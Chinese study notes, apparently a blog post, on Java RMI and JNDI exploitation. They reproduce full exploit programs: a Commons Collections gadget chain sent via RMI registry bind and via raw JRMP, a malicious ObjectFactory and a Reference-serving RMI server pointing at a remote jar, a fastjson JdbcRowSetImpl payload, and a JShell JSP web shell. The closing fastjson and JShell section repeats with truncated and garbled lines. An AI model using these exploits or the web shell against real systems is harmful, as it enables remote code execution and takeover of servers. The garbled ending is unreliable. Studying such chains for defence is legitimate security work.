Day8-RMI-JNDI

  • LDAP协议
  • JNDI注入中的Reference中的url有什么用?
  • https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
  • 绕过高版本限制:https://paper.seebug.org/942/

RMI

Remote Method Invocation 远程方法调用,构建分布式应用程序,可以实现java跨JVM远程通信

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称Remote对象。
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

可以参考javasec总结的rmi的调用流程。(就在上面)

0x01 测试代码

服务端需要准备的

package com.anbai.sec.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServerTest {

	// RMI服务器IP地址
	public static final String RMI_HOST = "127.0.0.1";

	// RMI服务端口
	public static final int RMI_PORT = 9527;

	// RMI服务名称
	public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";

	public static void main(String[] args) {
		try {
			// 注册RMI端口
			LocateRegistry.createRegistry(RMI_PORT);

			// 绑定Remote对象
			Naming.bind(RMI_NAME, new RMITestImpl());//绑定的remote对象

			System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

}

RMITestImpl

package com.anbai.sec.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {

	private static final long serialVersionUID = 1L;

	protected RMITestImpl() throws RemoteException {
		super();
	}

	/**
	 * RMI测试方法
	 *
	 * @return 返回测试字符串
	 */
	@Override
	public String test() throws RemoteException {
		return "Hello RMI~";
	}

}

客户端必须要拿到RMITestInterface

/**
 * RMI测试接口
 */
public interface RMITestInterface extends Remote {

	/**
	 * RMI测试方法
	 *
	 * @return 返回测试字符串
	 */
	String test() throws RemoteException;

}

客户端代码

try {
			// 查找远程RMI服务
			RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);

			// 调用远程接口RMITestInterface类的test方法
			String result = rt.test();

			// 输出RMI方法调用结果
			System.out.println(result);
		} catch (Exception e) {
			e.printStackTrace();
		}

大概流程就是这样了。

0x02 RMI反序列化

exploit

package com.anbai.sec.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;

import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;

/**
 * RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
 *
 * @author yz
 */
public class RMIExploit {

   // 定义AnnotationInvocationHandler类常量
   public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

   /**
    * 信任SSL证书
    */
   private static class TrustAllSSL implements X509TrustManager {

      private static final X509Certificate[] ANY_CA = {};

      public X509Certificate[] getAcceptedIssuers() {
         return ANY_CA;
      }

      public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

      public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }

   }

   /**
    * 创建支持SSL的RMI客户端
    */
   private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {

      public Socket createSocket(String host, int port) throws IOException {
         try {
            // 获取SSLContext对象
            SSLContext ctx = SSLContext.getInstance("TLS");

            // 默认信任服务器端SSL
            ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);

            // 获取SSL Socket连接工厂
            SSLSocketFactory factory = ctx.getSocketFactory();

            // 创建SSL连接
            return factory.createSocket(host, port);
         } catch (Exception e) {
            throw new IOException(e);
         }
      }
   }

   /**
    * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
    *
    * @param command 定义需要执行的CMD
    * @return Payload
    * @throws Exception 生成Payload异常
    */
   private static InvocationHandler genPayload(String command) throws Exception {
      // 创建Runtime.getRuntime.exec(cmd)调用链
      Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                  String.class, Class[].class}, new Object[]{
                  "getRuntime", new Class[0]}
            ),
            new InvokerTransformer("invoke", new Class[]{
                  Object.class, Object[].class}, new Object[]{
                  null, new Object[0]}
            ),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
      };

      // 创建ChainedTransformer调用链对象
      Transformer transformerChain = new ChainedTransformer(transformers);

      // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
      final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

      // 获取AnnotationInvocationHandler类对象
      Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

      // 获取AnnotationInvocationHandler类的构造方法
      Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

      // 设置构造方法的访问权限
      constructor.setAccessible(true);

      // 实例化AnnotationInvocationHandler,
      // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
      InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

      // 使用动态代理创建出Map类型的Payload
      final Map mapProxy2 = (Map) Proxy.newProxyInstance(
            ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
      );

      // 实例化AnnotationInvocationHandler,
      // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
      return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
   }

   /**
    * 执行Payload
    *
    * @param registry RMI Registry
    * @param command  需要执行的命令
    * @throws Exception Payload执行异常
    */
   public static void exploit(final Registry registry, final String command) throws Exception {
      // 生成Payload动态代理对象
      Object payload = genPayload(command);
      String name    = "test" + System.nanoTime();

      // 创建一个含有Payload的恶意map
      Map<String, Object> map = new HashMap();
      map.put(name, payload);

      // 获取AnnotationInvocationHandler类对象
      Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);

      // 获取AnnotationInvocationHandler类的构造方法
      Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

      // 设置构造方法的访问权限
      constructor.setAccessible(true);

      // 实例化AnnotationInvocationHandler,
      // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
      InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
      // 使用动态代理创建出Remote类型的Payload
      Remote remote = (Remote) Proxy.newProxyInstance(
            ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
      );
      try {
         // 发送Payload
         registry.bind(name, remote);
      } catch (Throwable e) {
         e.printStackTrace();
      }
   }
   public static void main(String[] args) throws Exception {
      if (args.length == 0) {
         // 如果不指定连接参数默认连接本地RMI服务
         args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
      }
      // 远程RMI服务IP
      final String host = args[0];
      // 远程RMI服务端口
      final int port = Integer.parseInt(args[1]);
      // 需要执行的系统命令
      final String command = args[2];
      // 获取远程Registry对象的引用
      Registry registry = LocateRegistry.getRegistry(host, port);
      try {
         // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
         String[] regs = registry.list();
         for (String reg : regs) {
            System.out.println("RMI:" + reg);
         }
      } catch (ConnectIOException ex) {
         // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书
         registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
      }
      // 执行payload
      exploit(registry, command);
   }


攻击流程的话就是

  1. 首先创建一个Stub对象LocateRegistry.getRegistry(host, port);
  2. 构造一个cc链的反序列化利用链子
  3. 调用服务端的rmi指令 registry.bind(name, remote);
  4. 服务端接收到请求后,反序列化我们传递过去的对象触发链子。

0x03 JRMP

JRMP接口的两种常见实现方式:

  1. JRMP协议(Java Remote Message Protocol)RMI专用的Java远程消息交换协议
  2. IIOP协议(Internet Inter-ORB Protocol) ,基于 CORBA 实现的对象请求代理协议。

然后就是上面放出来的攻击流程,相当于换了个小协议?

package com.anbai.sec.rmi;

import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;

import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;

/**
 * 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,
 * 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
 */
public class JRMPExploit {

   public static void main(String[] args) throws IOException {
      if (args.length == 0) {
         // 如果不指定连接参数默认连接本地RMI服务
         args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
      }

      // 远程RMI服务IP
      final String host = args[0];

      // 远程RMI服务端口
      final int port = Integer.parseInt(args[1]);

      // 需要执行的系统命令
      final String command = args[2];

      // Socket连接对象
      Socket socket = null;

      // Socket输出流
      OutputStream out = null;

      try {
         // 创建恶意的Payload对象
         Object payloadObject = RMIExploit.genPayload(command);

         // 建立和远程RMI服务的Socket连接
         socket = new Socket(host, port);
         socket.setKeepAlive(true);
         socket.setTcpNoDelay(true);

         // 获取Socket的输出流对象
         out = socket.getOutputStream();

         // 将Socket的输出流转换成DataOutputStream对象
         DataOutputStream dos = new DataOutputStream(out);

         // 创建MarshalOutputStream对象
         ObjectOutputStream baos = new MarshalOutputStream(dos);

         // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
         dos.writeInt(TransportConstants.Magic);// 魔数
         dos.writeShort(TransportConstants.Version);// 版本
         dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
         dos.write(TransportConstants.Call);// RMI调用指令
         baos.writeLong(2); // DGC
         baos.writeInt(0);
         baos.writeLong(0);
         baos.writeShort(0);
         baos.writeInt(1); // dirty
         baos.writeLong(-669196253586618813L);// 接口Hash值

         // 写入恶意的序列化对象
         baos.writeObject(payloadObject);

         dos.flush();
      } catch (Exception e) {
         e.printStackTrace();
      } finally {
         // 关闭Socket输出流
         if (out != null) {
            out.close();
         }

         // 关闭Socket连接
         if (socket != null) {
            socket.close();
         }
      }
   }

}

感觉大概流程 听明白,但是还是没太懂,可能是版本原因,他的链子,我并没有测试成功,看完,封装一个cc6试一试。我的bind方法报错了,不知道为什么?。

JNDI

0x01 概述

JNDI(Java Naming and Directory Interface)是java提供的命名和目录服务,java可以通过他的API来命令和定位资源。

可以访问的资源有:DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

参考链接:https://blog.csdn.net/ericxyy/article/details/2012287

https://blog.csdn.net/li_w_ch/article/details/110114397

0x02 JNDI目录服务和命名服务

JNDI目录服务首先会通过预先设置好的环境变量来进行初始化。如果没有指定话,那么就会按照顺序系统属性(System.getProperty())applet 参数应用程序资源文件(jndi.properties)

初始化代码

// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);

jdni支持的服务

image-20220106145133187

摘抄师傅的两个实例来体现其作用

dns服务(目录服务)

package com.anbai.sec.jndi;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

/**
 * Creator: yz
 * Date: 2019/12/23
 */
public class DNSContextFactoryTest {

   public static void main(String[] args) {
      // 创建环境变量对象
      Hashtable env = new Hashtable();

      // 设置JNDI初始化工厂类名
      env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");

      // 设置JNDI提供服务的URL地址,这里可以设置解析的DNS服务器地址
      env.put(Context.PROVIDER_URL, "dns://223.6.6.6/");

      try {
         // 创建JNDI目录服务对象
         DirContext context = new InitialDirContext(env);

         // 获取DNS解析记录测试
         Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
         Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});

         System.out.println(attrs1);
         System.out.println(attrs2);
      } catch (NamingException e) {
         e.printStackTrace();
      }
   }

}

关于ldap的datasource的代码不再看了。

命名服务

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.ResultSet" %>
<%
    // 初始化JNDIContext
    Context context = new InitialContext();

    // 搜索Tomcat注册的JNDI数据库连接池对象
    DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");

    // 获取数据库连接
    Connection connection = dataSource.getConnection();

    // 查询SQL语句并返回结果
    ResultSet rs = connection.prepareStatement("select version()").executeQuery();

    // 获取数据库查询结果
    while (rs.next()) {
        out.println(rs.getObject(1));
    }

    rs.close();
%>

java:comp/env这是j2ee中环境变量的意思

总结一下 大概流程就是

//创建环境变量
Hashtable env = new Hashtable();
//设置env
env.put(Context.INITIAL_CONTEXT_FACTORY,"类名");
env.put(key,value)//传入参数
DirContext context = new InitialDirContext(env);
context就变成你想要的服务类,怎么操作就怎么操作了。

0x03 协议转换

JNDI默认支持自动转换的协议有:

协议名称协议URLContext类
DNS协议dns://com.sun.jndi.url.dns.dnsURLContext
RMI协议rmi://com.sun.jndi.url.rmi.rmiURLContext
LDAP协议ldap://com.sun.jndi.url.ldap.ldapURLContext
LDAP协议ldaps://com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP对象请求代理协议iiop://com.sun.jndi.url.iiop.iiopURLContext
IIOP对象请求代理协议iiopname://com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP对象请求代理协议corbaname://com.sun.jndi.url.corbaname.corbanameURLContextFactory
// 创建JNDI目录服务上下文
InitialContext context = new InitialContext();

// 查找JNDI目录服务绑定的对象
Object obj = context.lookup("rmi://127.0.0.1:9527/test");

0x04 Reference

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

摘抄自大佬的文章https://zhishihezi.net/endpoint/richtext/96669a642bbffc95aad53e1165cb0708?event=436b34f44b9f95fd3aa8667f1ad451b173526ab5441d9f64bd62d183bed109b0ea1aaaa23c5207a446fa6de9f588db3958e8cd5c825d7d5216199d64338d9d0052ac2bc129e1cd21d710d012fe32e886817369cd589da79a72c08cd418002d30f0b97067ce7fa98aa1216f40db62f3824f104b99448d620a85e0d31ec883ce32ffbce42cb5f49bbd72abd772c66cd62219bec9aa1aafd229b8d42b0b6261f2fd29aa21b50a5cf60e897f803153b75e49a11e52f83e3862650116ae667b59ca4d87fd25ff5ec5d70355dbeebae2436d51fd915fd99703cf15da64cb50a5dc7a026e5cb7bd365df025f907107c5fd874bd51881666c05de390a7514eb8bab99e72#3

要更改这些配置,两种方式

  • -D参数
  • System.setProperty

绕过高版本限制:https://paper.seebug.org/942/

他使用一个打印机的案例很tm详细:

如果打印服务将打印机的名称绑定到Reference,那么就可以使用这个reference来创建一个打印机对象,并且调用他的方法

对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。主要就是因为允许ObjectFactory加载外部对象。

下面来看一个恶意的RMI服务

factor:

package com.anbai.sec.jndi.injection;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
 * 引用对象创建工厂
 */
public class ReferenceObjectFactory implements ObjectFactory {

	/**
	 * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
	 * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
	 * @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
	 * @param env  创建对象时使用的环境(可能为 null)。
	 * @return 对象工厂创建出的对象
	 * @throws Exception 对象创建异常
	 */
	public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
		// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
		return Runtime.getRuntime().exec("calc");
	}
}

服务端

// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
String url = "https://anba1i.io/tools/jndi-test.jar";
// 对象的工厂类名
String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
// 监听RMI服务端口
LocateRegistry.createRegistry(RMI_PORT);
// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className,"http://www.baidu.com");
// 转换为RMI引用对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定一个恶意的Remote对象到RMI服务
Naming.bind(RMI_NAME, referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);

其实那个url好像没有起什么作用,大概也不太懂…

LDAP服务大家可以看看师傅的GitHub,就不贴了。

0x05 fastjson中的jndi注入

因为还没有彻底去学习fastjson反序列化,这里也只是很简单的说一下关于触发jndi。

ring json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";

在这里fastjson会自动创建com.sun.rowset.JdbcRowSetImpl,然后调用set方法给各个属性赋值,autoCommit给这个大哥赋值的时候,就会触发connect最后一个lookup结束正常战斗。

JSHELL

java9之后加入的一个交互式javashell,我们就可以在jsp中利用他来真正实现一句话shell。

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
new%20String(Runtime.getRuntime().exec(%22pwd%22).getInputStream().readAllBytes()).exec("pwd").getInputStream().readAllBytes()))

为还没有彻底去学习fastjson反序列化,这里也只是很简单的说一下关于触发jndi。

ring json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";

在这里fastjson会自动创建com.sun.rowset.JdbcRowSetImpl,然后调用set方法给各个属性赋值,autoCommit给这个大哥赋值的时候,就会触发connect最后一个lookup结束正常战斗。

JSHELL

java9之后加入的一个交互式javashell,我们就可以在jsp中利用他来真正实现一句话shell。

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
new%20String(Runtime.getRuntime().exec(%22pwd%22).getInputStream().readAllBytes()).exec("pwd").getInputStream().readAllBytes()))
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值